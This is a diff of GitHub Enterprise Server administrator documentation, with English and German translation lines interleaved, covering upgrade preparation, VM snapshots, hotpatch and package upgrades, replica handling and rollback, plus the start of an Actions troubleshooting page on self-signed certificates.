## Preparing to upgrade
1. Determine an upgrade strategy and choose a version to upgrade to. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.
1. Create a fresh backup of your primary instance with the {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see the [README.md file](https://github.com/github/backup-utils#readme) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation.
1. Bestimme eine Upgrade-Strategie, und wähle eine Version aus, auf die das Upgrade durchgeführt werden soll. Weitere Informationen findest du unter [Upgrade-Anforderungen](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/) und [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade), um den Upgrade-Pfad für deine aktuelle Version zu finden.
1. Erstelle mit den {% data variables.product.prodname_enterprise_backup_utilities %} ein neues Backup deiner primären Instanz. Weitere Informationen findest du in der [README.md-Datei](https://github.com/github/backup-utils#readme) in der {% data variables.product.prodname_enterprise_backup_utilities %}-Projektdokumentation.
{% note %}
**Note:** Your {% data variables.product.prodname_enterprise_backup_utilities %} version needs to be the same version as, or at most two versions ahead of, {% data variables.location.product_location %}. For more information, see "[Upgrading GitHub Enterprise Server Backup Utilities](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance#upgrading-github-enterprise-server-backup-utilities)."
**Hinweis:** Deine {% data variables.product.prodname_enterprise_backup_utilities %}-Version darf nicht älter als die vorletzte Version von {% data variables.location.product_location %} sein. Weitere Informationen findest du unter [Aktualisieren von GitHub Enterprise Server Backup Utilities](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance#upgrading-github-enterprise-server-backup-utilities).
{% endnote %}
1. If {% data variables.location.product_location %} uses ephemeral self-hosted runners for {% data variables.product.prodname_actions %} and you've disabled automatic updates, upgrade your runners to the version of the runner application that your upgraded instance will run.
1. If you are upgrading using an upgrade package, schedule a maintenance window for {% data variables.product.prodname_ghe_server %} end users. If you are using a hotpatch, maintenance mode is not required.
1. Wenn {% data variables.location.product_location %} kurzlebige selbstgehostete Runner für {% data variables.product.prodname_actions %} verwendet und du automatische Updates deaktiviert hast, führe für deine Runner ein Upgrade auf die Version der Runneranwendung durch, die auf deiner aktualisierten Instanz ausgeführt werden soll.
1. Wenn du mithilfe eines Upgrade-Pakets ein Upgrade durchführst, solltest du ein Wartungsfenster für {% data variables.product.prodname_ghe_server %}-Endbenutzer*innen einplanen. Bei Verwendung eines Hotpatches muss der Wartungsmodus nicht verwendet werden.
{% note %}
**Note:** The maintenance window depends on the type of upgrade you perform. Upgrades using a hotpatch usually don't require a maintenance window. Sometimes a reboot is required, which you can perform at a later time. Following the versioning scheme of MAJOR.FEATURE.PATCH, patch releases using an upgrade package typically require less than five minutes of downtime. Feature releases that include data migrations take longer depending on storage performance and the amount of data that's migrated. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
**Hinweis:** Das Wartungsfenster hängt vom Typ des Upgrades ab, das du ausführst. Für Upgrades mittels Hotpatch ist in der Regel kein Wartungsfenster erforderlich. Manchmal ist ein Neustart erforderlich, den du später durchführen kannst. Entsprechend dem Versionierungsschema von MAJOR.FEATURE.PATCH führen Patch-Veröffentlichungen mit einem Upgrade-Paket in der Regel zu weniger als fünf Minuten Ausfallzeit. Feature-Veröffentlichungen mit enthaltenen Datenmigrationen dauern anhand der Speicherleistung und der zu migrierenden Daten entsprechend länger. Weitere Informationen findest du unter „[Aktivieren und Planen des Wartungsmodus](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode).
{% endnote %}
## Taking a snapshot
## Snapshot erstellen
A snapshot is a checkpoint of a virtual machine (VM) at a point in time. We highly recommend taking a snapshot before upgrading your virtual machine so that if an upgrade fails, you can revert your VM back to the snapshot. We only recommend taking a VM snapshot when the appliance is powered down or in maintenance mode and all background jobs have finished.
Ein Snapshot ist ein Checkpoint einer virtuellen Maschine (VM) zu einem bestimmten Zeitpunkt. Es wird dringend empfohlen, eine Momentaufnahme zu erstellen, bevor du ein Upgrade für deinen virtuellen Computer durchführst, damit du bei einem Fehlschlagen des Upgrades deine VM auf die Momentaufnahme zurücksetzen kannst. Es wird nur empfohlen, eine VM-Momentaufnahme zu erstellen, wenn die Appliance heruntergefahren oder im Wartungsmodus ausgeführt wird und alle Hintergrundaufträge abgeschlossen sind.
If you're upgrading to a new feature release, you must take a VM snapshot. If you're upgrading to a patch release, you can attach the existing data disk.
Wenn du ein Upgrade auf ein neues Featurerelease durchführst, musst du eine VM-Momentaufnahme erstellen. Wenn du ein Upgrade auf ein Patchrelease durchführst, kannst du den vorhandenen Datenträger anhängen.
There are two types of snapshots:
Es gibt zwei Snapshot-Typen:
- **VM snapshots** save your entire VM state, including user data and configuration data. This snapshot method requires a large amount of disk space and is time consuming.
- **Data disk snapshots** only save your user data.
- **VM-Momentaufnahmen** speichern den gesamten VM-Zustand, einschließlich der Benutzer- und Konfigurationsdaten. Für diese zeitraubende Snapshot-Methode ist viel Speicherplatz erforderlich.
- **Datendatenträger-Momentaufnahmen** speichern nur deine Benutzerdaten.
{% note %}
**Notes:**
- Some platforms don't allow you to take a snapshot of just your data disk. For these platforms, you'll need to take a snapshot of the entire VM.
- If your hypervisor does not support full VM snapshots, you should take a snapshot of the root disk and data disk in quick succession.
**Hinweise:**
- Bei einigen Plattformen kannst du nicht nur eine Momentaufnahme deines Datenträgers erstellen. Bei diesen Plattformen musst du eine Momentaufnahme der gesamten VM erstellen.
- Wenn von deinem Hypervisor keine vollständigen VM-Momentaufnahmen unterstützt werden, kannst du in schneller Abfolge Momentaufnahmen von Root-Disk und Datenträger erstellen.
{% endnote %}
| Platform | Snapshot method | Snapshot documentation URL |
| Plattform | Momentaufnahmenmethode | URL zur Snapshot-Dokumentation |
|---|---|---|
| Amazon AWS | Disk | <https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-creating-snapshot.html>
| Amazon AWS | Datenträger | <https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-creating-snapshot.html>
| Azure | VM | <https://docs.microsoft.com/azure/backup/backup-azure-vms-first-look-arm>
| Hyper-V | VM | <https://docs.microsoft.com/windows-server/virtualization/hyper-v/manage/enable-or-disable-checkpoints-in-hyper-v>
| Google Compute Engine | Disk | <https://cloud.google.com/compute/docs/disks/create-snapshots>
| Google Compute Engine | Datenträger | <https://cloud.google.com/compute/docs/disks/create-snapshots>
| VMware | VM | <https://docs.vmware.com/en/VMware-vSphere/7.0/com.vmware.vsphere.hostclient.doc/GUID-64B866EF-7636-401C-A8FF-2B4584D9CA72.html>
## Upgrading with a hotpatch
## Upgrade mit einem Hotpatch
{% data reusables.enterprise_installation.hotpatching-explanation %}
Using the {% data variables.enterprise.management_console %}, you can install a hotpatch immediately or schedule it for later installation. You can use the administrative shell to install a hotpatch with the `ghe-upgrade` utility. For more information, see "[Upgrade requirements](/enterprise/admin/guides/installation/upgrade-requirements/)."
Mit der {% data variables.enterprise.management_console %} kannst du einen Hotpatch sofort installieren oder für die spätere Installation planen. Über die Verwaltungsshell kannst du mit dem `ghe-upgrade`-Hilfsprogramm einen Hotpatch installieren. Weitere Informationen findest du unter [Upgradeanforderungen](/enterprise/admin/guides/installation/upgrade-requirements/).
{% note %}
**{% ifversion ghes %}Notes{% else %}Note{% endif %}**:
**{% ifversion ghes %}Notes{% else %}Note{% endif %}** :
{% ifversion ghes %}
- If {% data variables.location.product_location %} is running a release candidate build, you can't upgrade with a hotpatch.
- Wenn {% data variables.location.product_location %} einen Release Candidate-Build ausführt, kannst du kein Upgrade mit einem Hotpatch durchführen.
- {% endif %}Installing a hotpatch using the {% data variables.enterprise.management_console %} is not available in clustered environments. To install a hotpatch in a clustered environment, see "[Upgrading a cluster](/enterprise/admin/clustering/upgrading-a-cluster#upgrading-with-a-hotpatch)."
- {% endif %}In Cluster-Umgebungen ist die Installation eines Hotpatches mittels {% data variables.enterprise.management_console %} nicht verfügbar. Informationen zum Installieren eines Hotpatches in einer Clusterumgebung findest du unter [Durchführen eines Upgrades für einen Cluster](/enterprise/admin/clustering/upgrading-a-cluster#upgrading-with-a-hotpatch).
{% endnote %}
### Upgrading a single appliance with a hotpatch
### Upgrade einer einzelnen Appliance mit einem Hotpatch durchführen
#### Installing a hotpatch using the {% data variables.enterprise.management_console %}
#### Hotpatch mit der {% data variables.enterprise.management_console %} installieren
You can use the {% data variables.enterprise.management_console %} to upgrade with a hotpatch by enabling automatic updates. You will then be presented with the latest available version of {% data variables.product.prodname_ghe_server %} that you can upgrade to.
Du kannst die {% data variables.enterprise.management_console %} verwenden, um ein Upgrade mit einem Hotpatch durchzuführen, indem du automatische Updates aktivierst. Anschließend erhältst du die neueste verfügbare Version von {% data variables.product.prodname_ghe_server %}, auf die du ein Upgrade ausführen kannst.
If the upgrade target you're presented with is a feature release instead of a patch release, you cannot use the {% data variables.enterprise.management_console %} to install a hotpatch. You must install the hotpatch using the administrative shell instead. For more information, see "[Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell)."
Wenn das Upgrade-Ziel ein Featurerelease anstatt eines Patchrelease ist, kannst du die {% data variables.enterprise.management_console %} nicht verwenden, um einen Hotpatch zu installieren. Du musst den Hotpatch stattdessen mithilfe der Verwaltungsshell installieren. Weitere Informationen findest du unter [Installieren eines Hotpatches mithilfe der Verwaltungsshell](#installing-a-hotpatch-using-the-administrative-shell).
1. Enable automatic updates. For more information, see "[Enabling automatic updates](/enterprise/admin/guides/installation/enabling-automatic-update-checks/)."
{% data reusables.enterprise_site_admin_settings.access-settings %}
{% data reusables.enterprise_site_admin_settings.management-console %}
{% data reusables.enterprise_management_console.updates-tab %}
4. When a new hotpatch has been downloaded, use the Install package drop-down menu:
- To install immediately, select **Now**:
- To install later, select a later date.
![Hotpatch installation date dropdown](/assets/images/enterprise/management-console/hotpatch-installation-date-dropdown.png)
5. Click **Install**.
![Hotpatch install button](/assets/images/enterprise/management-console/hotpatch-installation-install-button.png)
1. Aktivieren automatischer Updates. Weitere Informationen findest du unter [Aktivieren automatischer Updates](/enterprise/admin/guides/installation/enabling-automatic-update-checks/).
{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.updates-tab %}
4. Verwende nach dem Herunterladen eines neuen Hotpatches die Dropdownliste „Paket installieren“:
- Wähle **Jetzt** zum sofortigen Installieren aus:
- Wähle für die spätere Installation ein späteres Datum aus.
![Dropdownmenü mit Hotpatch-Installationsdatum](/assets/images/enterprise/management-console/hotpatch-installation-date-dropdown.png)
5. Klicken Sie auf **Installieren**.
![Schaltfläche zum Installieren eines Hotpatches](/assets/images/enterprise/management-console/hotpatch-installation-install-button.png)
#### Installing a hotpatch using the administrative shell
#### Hotpatch mit der Verwaltungsshell installieren
{% data reusables.enterprise_installation.download-note %}
{% data reusables.enterprise_installation.ssh-into-instance %}
2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Copy the URL for the upgrade hotpackage (*.hpkg* file).
2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Kopiere die URL für das Upgrade-Hotpackage (*.hpkg*-Datei).
{% data reusables.enterprise_installation.download-package %}
4. Run the `ghe-upgrade` command using the package file name:
4. Führe den `ghe-upgrade`-Befehl mithilfe des Paketdateinamens aus:
```shell
admin@HOSTNAME:~$ ghe-upgrade GITHUB-UPGRADE.hpkg
*** verifying upgrade package signature...
```
5. If a reboot is required for updates for kernel, MySQL, Elasticsearch or other programs, the hotpatch upgrade script notifies you.
5. Wenn für den Kernel, MySQL, ElasticSearch oder andere Programme ein Neustart erforderlich ist, wirst du vom Hotpatch-Upgradeskript dahingehend benachrichtigt.
### Upgrading an appliance that has replica instances using a hotpatch
### Upgrade einer über Replikatinstanzen verfügenden Appliance mit einem Hotpatch durchführen
{% note %}
**Note**: If you are installing a hotpatch, you do not need to enter maintenance mode or stop replication.
**Hinweis**: Zum Installieren eines Hotpatches musst du nicht in den Wartungsmodus wechseln oder die Replikation beenden.
{% endnote %}
Appliances configured for high-availability and geo-replication use replica instances in addition to primary instances. To upgrade these appliances, you'll need to upgrade both the primary instance and all replica instances, one at a time.
Für die Hochverfügbarkeit und Geo-Replikation konfigurierte Appliances verwenden zusätzlich zu den primären Instanzen Replikatinstanzen. Zum Aktualisieren dieser Appliances musst du Upgrades für die primäre Instanz und alle Replikatinstanzen nacheinander durchführen.
#### Upgrading the primary instance
#### Upgrade der primären Instanz durchführen
1. Upgrade the primary instance by following the instructions in "[Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell)."
1. Aktualisiere die primäre Instanz, indem du die Anweisungen unter [Installieren eines Hotpatches mithilfe der Verwaltungsshell](#installing-a-hotpatch-using-the-administrative-shell) befolgst.
#### Upgrading a replica instance
#### Upgrade einer Replikatinstanz durchführen
{% note %}
**Note:** If you're running multiple replica instances as part of geo-replication, repeat this procedure for each replica instance, one at a time.
**Hinweis:** Wenn du als Teil der Georeplikation mehrere Replikatinstanzen ausführst, solltest du diese Prozedur für jede Replikatinstanz einzeln nacheinander wiederholen.
{% endnote %}
1. Upgrade the replica instance by following the instructions in "[Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell)." If you are using multiple replicas for Geo-replication, you must repeat this procedure to upgrade each replica one at a time.
{% data reusables.enterprise_installation.replica-ssh %}
{% data reusables.enterprise_installation.replica-verify %}
1. Aktualisiere die Replikatinstanz, indem du die Anweisungen unter [Installieren eines Hotpatches mithilfe der Verwaltungsshell](#installing-a-hotpatch-using-the-administrative-shell) befolgst. Wenn du mehrere Replikate für die Georeplikation verwendest, musst du diese Prozedur wiederholen, um jedes Replikat nacheinander zu aktualisieren.
{% data reusables.enterprise_installation.replica-ssh %} {% data reusables.enterprise_installation.replica-verify %}
## Upgrading with an upgrade package
## Upgrade mit einem Upgrade-Paket
While you can use a hotpatch to upgrade to the latest patch release within a feature series, you must use an upgrade package to upgrade to a newer feature release. For example to upgrade from `2.11.10` to `2.12.4` you must use an upgrade package since these are in different feature series. For more information, see "[Upgrade requirements](/enterprise/admin/guides/installation/upgrade-requirements/)."
Obwohl du einen Hotpatch verwenden kannst, um ein Upgrade auf den neuesten Patchrelease in einer Featureserie durchzuführen, musst du ein Upgradepaket verwenden, um ein Upgrade auf ein neueres Featurerelease durchzuführen. Wenn du beispielsweise ein Upgrade von `2.11.10` auf `2.12.4` durchführen möchtest, musst du ein Upgradepaket verwenden, da es sich um unterschiedliche Featureserien handelt. Weitere Informationen findest du unter [Upgradeanforderungen](/enterprise/admin/guides/installation/upgrade-requirements/).
### Upgrading a single appliance with an upgrade package
### Upgrade einer einzelnen Appliance mit einem Upgrade-Paket durchführen
{% data reusables.enterprise_installation.download-note %}
{% data reusables.enterprise_installation.ssh-into-instance %}
2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Select the appropriate platform and copy the URL for the upgrade package (*.pkg* file).
2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Wähle die geeignete Plattform aus, und kopiere die URL für das Upgradepaket (*.pkg*-Datei).
{% data reusables.enterprise_installation.download-package %}
4. Enable maintenance mode and wait for all active processes to complete on the {% data variables.product.prodname_ghe_server %} instance. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
4. Aktiviere den Wartungsmodus, und warte, bis alle aktiven Prozesse auf der {% data variables.product.prodname_ghe_server %}-Instanz abgeschlossen sind. Weitere Informationen findest du unter „[Aktivieren und Planen des Wartungsmodus](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode).
{% note %}
**Note**: When upgrading the primary appliance in a High Availability configuration, the appliance should already be in maintenance mode if you are following the instructions in "[Upgrading the primary instance](#upgrading-the-primary-instance)."
**Hinweis**: Wenn du in einer Hochverfügbarkeitskonfiguration ein Upgrade der primären Appliance durchführst, sollte sich die Appliance bereits im Wartungsmodus befinden, sofern du die unter [Durchführen eines Upgrades der primären Instanz](#upgrading-the-primary-instance) beschriebenen Anweisungen befolgst.
{% endnote %}
5. Run the `ghe-upgrade` command using the package file name:
5. Führe den `ghe-upgrade`-Befehl mithilfe des Paketdateinamens aus:
```shell
admin@HOSTNAME:~$ ghe-upgrade GITHUB-UPGRADE.pkg
*** verifying upgrade package signature...
```
6. Confirm that you'd like to continue with the upgrade and restart after the package signature verifies. The new root filesystem writes to the secondary partition and the instance automatically restarts in maintenance mode:
6. Bestätige, dass du das Upgrade fortsetzen möchtest, und führe nach der Überprüfung der Paketsignatur einen Neustart durch. Das neue Root-Dateisystem schreibt in die sekundäre Partition, und die Instanz startet automatisch im Wartungsmodus neu:
```shell
*** applying update...
This package will upgrade your installation to version VERSION-NUMBER
@ -180,52 +181,51 @@ While you can use a hotpatch to upgrade to the latest patch release within a fea
Proceed with installation? [y/N]
```
{% ifversion ip-exception-list %}
1. Optionally, to validate the upgrade, configure an IP exception list to allow access to a specified list of IP addresses. For more information, see "[Validating changes in maintenance mode using the IP exception list](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode#validating-changes-in-maintenance-mode-using-the-ip-exception-list)."
1. Optional kannst du zum Validieren des Upgrades eine IP-Ausnahmeliste konfigurieren, um den Zugriff auf eine bestimmte Liste von IP-Adressen zuzulassen. Weitere Informationen findest du unter [Überprüfen von Änderungen im Wartungsmodus mithilfe der IP-Ausnahmeliste](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode#validating-changes-in-maintenance-mode-using-the-ip-exception-list).
{% endif %}
7. For single appliance upgrades, disable maintenance mode so users can use {% data variables.location.product_location %}.
7. Deaktiviere bei einzelnen Appliance-Upgrades den Wartungsmodus, damit Benutzer {% data variables.location.product_location %} verwenden können.
{% note %}
**Note**: When upgrading appliances in a High Availability configuration you should remain in maintenance mode until you have upgraded all of the replicas and replication is current. For more information, see "[Upgrading a replica instance](#upgrading-a-replica-instance)."
**Hinweis**: Wenn du in einer Hochverfügbarkeitskonfiguration ein Upgrade der Appliances durchführst, solltest du im Wartungsmodus bleiben, bis ein Upgrade sämtlicher Replikate durchgeführt wurde und die Replikation aktuell ist. Weitere Informationen findest du unter [Durchführen eines Upgrades einer Replikatinstanz](#upgrading-a-replica-instance).
{% endnote %}
### Upgrading an appliance that has replica instances using an upgrade package
### Upgrade einer über Replikatinstanzen verfügenden Appliance mit einem Upgrade-Paket durchführen
Appliances configured for high-availability and geo-replication use replica instances in addition to primary instances. To upgrade these appliances, you'll need to upgrade both the primary instance and all replica instances, one at a time.
Für die Hochverfügbarkeit und Geo-Replikation konfigurierte Appliances verwenden zusätzlich zu den primären Instanzen Replikatinstanzen. Zum Aktualisieren dieser Appliances musst du Upgrades für die primäre Instanz und alle Replikatinstanzen nacheinander durchführen.
#### Upgrading the primary instance
#### Upgrade der primären Instanz durchführen
{% warning %}
**Warning:** When replication is stopped, if the primary fails, any work that is done before the replica is upgraded and the replication begins again will be lost.
**Warnung:** Wenn die Replikation angehalten wird, geht im Falle eines Fehlschlagens der primären Instanz die Arbeit verloren, die vor dem Upgrade des Replikats und dem Start der Replikation erledigt wird.
{% endwarning %}
1. On the primary instance, enable maintenance mode and wait for all active processes to complete. For more information, see "[Enabling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)."
1. Aktiviere auf der primären Instanz den Wartungsmodus, und warte auf den Abschluss sämtlicher aktiver Prozesse. Weitere Informationen findest du unter [Aktivieren des Wartungsmodus](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode/).
{% data reusables.enterprise_installation.replica-ssh %}
3. On the replica instance, or on all replica instances if you're running multiple replica instances as part of geo-replication, run `ghe-repl-stop` to stop replication.
4. Upgrade the primary instance by following the instructions in "[Upgrading a single appliance with an upgrade package](#upgrading-a-single-appliance-with-an-upgrade-package)."
3. Führe auf der Replikatinstanz oder auf allen Replikatinstanzen, falls du als Teil der Georeplikation mehrere Replikatinstanzen ausführst, `ghe-repl-stop` zum Anhalten der Replikation aus.
4. Aktualisiere die primäre Instanz, indem du die Anweisungen unter [Durchführen eines Upgrades einer einzelnen Appliance mit einem Upgradepaket](#upgrading-a-single-appliance-with-an-upgrade-package) befolgst.
#### Upgrading a replica instance
#### Upgrade einer Replikatinstanz durchführen
{% note %}
**Note:** If you're running multiple replica instances as part of geo-replication, repeat this procedure for each replica instance, one at a time.
**Hinweis:** Wenn du als Teil der Georeplikation mehrere Replikatinstanzen ausführst, solltest du diese Prozedur für jede Replikatinstanz einzeln nacheinander wiederholen.
{% endnote %}
1. Upgrade the replica instance by following the instructions in "[Upgrading a single appliance with an upgrade package](#upgrading-a-single-appliance-with-an-upgrade-package)." If you are using multiple replicas for Geo-replication, you must repeat this procedure to upgrade each replica one at a time.
{% data reusables.enterprise_installation.replica-ssh %}
{% data reusables.enterprise_installation.replica-verify %}
1. Aktualisiere die primäre Instanz, indem du die Anweisungen in [Durchführen eines Upgrades einer einzelnen Appliance mit einem Upgradepaket](#upgrading-a-single-appliance-with-an-upgrade-package) befolgst. Wenn du mehrere Replikate für die Georeplikation verwendest, musst du diese Prozedur wiederholen, um jedes Replikat nacheinander zu aktualisieren.
{% data reusables.enterprise_installation.replica-ssh %} {% data reusables.enterprise_installation.replica-verify %}
{% data reusables.enterprise_installation.start-replication %}
{% data reusables.enterprise_installation.replication-status %} If the command returns `Replication is not running`, the replication may still be starting. Wait about one minute before running `ghe-repl-status` again.
{% data reusables.enterprise_installation.replication-status %} Wenn der Befehl `Replication is not running` zurückgibt, wird die Replikation möglicherweise noch gestartet. Warte ungefähr eine Minute, bevor du `ghe-repl-status` erneut ausführst.
{% note %}
**Note:** While the resync is in progress `ghe-repl-status` may indicate that replication is behind. For example, you may see the following message.
**Hinweis:** Während der Neusynchronisierung kann `ghe-repl-status` anzeigen, dass die Replikation im Rückstand ist. Es wird möglicherweise die folgende Meldung angezeigt.
```
CRITICAL: git replication is behind the primary by more than 1007 repositories and/or gists
@ -234,30 +234,29 @@ Appliances configured for high-availability and geo-replication use replica inst
{%- ifversion ghes = 3.4 or ghes = 3.5 or ghes = 3.6 %}
- If you have upgraded each node to {% data variables.product.product_name %} 3.6.0 or later and started replication, but `git replication is behind the primary` continues to appear after 45 minutes, contact {% data variables.contact.enterprise_support %}. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)."
- Wenn du für jeden Knoten ein Upgrade auf {% data variables.product.product_name %} 3.6.0 oder höher durchgeführt und die Replikation gestartet hast, aber nach 45 Minuten immer noch die Meldung `git replication is behind the primary` erscheint, wende dich an den {% data variables.contact.enterprise_support %}. Weitere Informationen findest du unter [Anfordern von Unterstützung beim {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support).
{%- endif %}
- {% ifversion ghes = 3.4 or ghes = 3.5 or ghes = 3.6 %}Otherwise, if{% else %}If{% endif %} `ghe-repl-status` did not return `OK`, contact {% data variables.contact.enterprise_support %}. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)."
6. When you have completed upgrading the last replica, and the resync is complete, disable maintenance mode so users can use {% data variables.location.product_location %}.
- {% ifversion ghes = 3.4 or ghes = 3.5 or ghes = 3.6 %}Andernfalls, wenn{% else %}Wenn{% endif %} `ghe-repl-status` nicht `OK` zurückgegeben hat, wende dich an den {% data variables.contact.enterprise_support %}. Weitere Informationen findest du unter [Anfordern von Unterstützung beim {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support).
6. Wenn das Upgrade des letzten Replikats abgeschlossen und die Neusynchronisierung beendet ist, deaktiviere den Wartungsmodus, damit die Benutzer {% data variables.location.product_location %} verwenden können.
## Restoring from a failed upgrade
## Wiederherstellung nach einem fehlgeschlagenen Upgrade
If an upgrade fails or is interrupted, you should revert your instance back to its previous state. The process for completing this depends on the type of upgrade.
Wenn ein Upgrade fehlschlägt oder unterbrochen wird, solltest du deine Instanz in ihren vorherigen Zustand zurücksetzen. Der entsprechende Prozess hängt vom Upgrade-Typ ab.
### Rolling back a patch release
### Rollback einer Patch-Veröffentlichung durchführen
To roll back a patch release, use the `ghe-upgrade` command with the `--allow-patch-rollback` switch. Before rolling back, replication must be temporarily stopped by running `ghe-repl-stop` on all replica instances. {% data reusables.enterprise_installation.command-line-utilities-ghe-upgrade-rollback %}
Um einen Patchrelease zurückzusetzen, verwende den `ghe-upgrade`-Befehl mit dem `--allow-patch-rollback`-Parameter. Bevor sie zurückgesetzt werden, muss die Replikation vorübergehend beendet werden, indem sie auf allen Replikatinstanzen `ghe-repl-stop` ausgeführt wird. {% data reusables.enterprise_installation.command-line-utilities-ghe-upgrade-rollback %}
Once the rollback is complete, restart replication by running `ghe-repl-start` on all replicas.
Sobald der Rollback abgeschlossen ist, starte die Replikation neu, indem du `ghe-repl-start` auf allen Replikaten ausführst.
For more information, see "[Command-line utilities](/enterprise/admin/guides/installation/command-line-utilities/#ghe-upgrade)."
Weitere Informationen findest du unter [Befehlszeilenprogramme](/enterprise/admin/guides/installation/command-line-utilities/#ghe-upgrade).
### Rolling back a feature release
### Rollback einer Feature-Veröffentlichung durchführen
To roll back from a feature release, restore from a VM snapshot to ensure that root and data partitions are in a consistent state. For more information, see "[Taking a snapshot](#taking-a-snapshot)."
Um ein Rollback eines Featurereleases durchzuführen, führe eine Wiederherstellung über eine VM-Momentaufnahme aus, um sicherzustellen, dass die Root- und Datenpartitionen einen konsistenten Zustand aufweisen. Weitere Informationen findest du unter [Eine Momentaufnahme erstellen](#taking-a-snapshot).
{% ifversion ghes %}
## Further reading
## Weiterführende Themen
- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"
{% endif %}
- „[Informationen zu Upgrades auf neue Releases](/admin/overview/about-upgrades-to-new-releases)“ {% endif %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Troubleshooting GitHub Actions for your enterprise
intro: 'Troubleshooting common issues that occur when using {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}.'
title: Behandeln von Problemen mit GitHub Actions für dein Unternehmen
intro: 'Behandlung von Problemen, die häufig bei Verwendung von {% data variables.product.prodname_actions %} in {% data variables.product.prodname_ghe_server %} auftreten'
permissions: 'Site administrators can troubleshoot {% data variables.product.prodname_actions %} issues and modify {% data variables.product.prodname_ghe_server %} configurations.'
versions:
ghes: '*'
@ -12,74 +12,79 @@ topics:
redirect_from:
- /admin/github-actions/troubleshooting-github-actions-for-your-enterprise
shortTitle: Troubleshoot GitHub Actions
ms.openlocfilehash: a0965405e8e37bd75a245738d8d20c91f11ce254
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/25/2022
ms.locfileid: '148107301'
---
## Überprüfen der Integrität von {% data variables.product.prodname_actions %}
## Checking the health of {% data variables.product.prodname_actions %}
Du kannst die Integrität von {% data variables.product.prodname_actions %} auf {% data variables.location.product_location %} mit dem Befehlszeilen-Hilfsprogramm `ghe-actions-check` überprüfen. Weitere Informationen findest du unter [Befehlszeilenprogramme](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-actions-check) und [Zugreifen auf die Verwaltungsshell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh).
You can check the health of {% data variables.product.prodname_actions %} on {% data variables.location.product_location %} with the `ghe-actions-check` command-line utility. For more information, see "[Command-line utilities](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-actions-check)" and "[Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)."
## Konfigurieren von selbstgehosteten Runnern bei Verwendung eines selbstsignierten Zertifikats für {% data variables.product.prodname_ghe_server %}
## Configuring self-hosted runners when using a self-signed certificate for {% data variables.product.prodname_ghe_server %}
{% data reusables.actions.enterprise-self-signed-cert %} Weitere Informationen findest du unter [Konfigurieren von TLS](/admin/configuration/configuring-tls).
{% data reusables.actions.enterprise-self-signed-cert %} For more information, see "[Configuring TLS](/admin/configuration/configuring-tls)."
### Installieren des Zertifikats auf dem Runnercomputer
### Installing the certificate on the runner machine
Damit ein selbstgehosteter Runner mithilfe eines selbstsignierten Zertifikats eine Verbindung mit einem {% data variables.product.prodname_ghe_server %} herstellen kann, musst du das Zertifikat auf dem Runnercomputer installieren, damit die Verbindung gehärtet ist.
For a self-hosted runner to connect to a {% data variables.product.prodname_ghe_server %} using a self-signed certificate, you must install the certificate on the runner machine so that the connection is security hardened.
Die zur Installation eines Zertifikats erforderlichen Schritte findest du in der Dokumentation für das Betriebssystem des Runners.
For the steps required to install a certificate, refer to the documentation for your runner's operating system.
### Konfigurieren von Node.js für die Verwendung des Zertifikats
### Configuring Node.JS to use the certificate
Die meisten Aktionen werden in JavaScript geschrieben und mithilfe von Node.js ausgeführt, wobei Node.js nicht den Zertifikatspeicher des Betriebssystems verwendet. Damit die selbstgehostete Runneranwendung das Zertifikat verwendet, musst du die Umgebungsvariable `NODE_EXTRA_CA_CERTS` auf dem Runnercomputer festlegen.
Most actions are written in JavaScript and run using Node.js, which does not use the operating system certificate store. For the self-hosted runner application to use the certificate, you must set the `NODE_EXTRA_CA_CERTS` environment variable on the runner machine.
Du kannst die Umgebungsvariable als Systemumgebungsvariable festlegen oder in einer Datei namens _.env_ im Verzeichnis der selbstgehosteten Anwendung deklarieren.
You can set the environment variable as a system environment variable, or declare it in a file named _.env_ in the self-hosted runner application directory.
For example:
Beispiel:
```shell
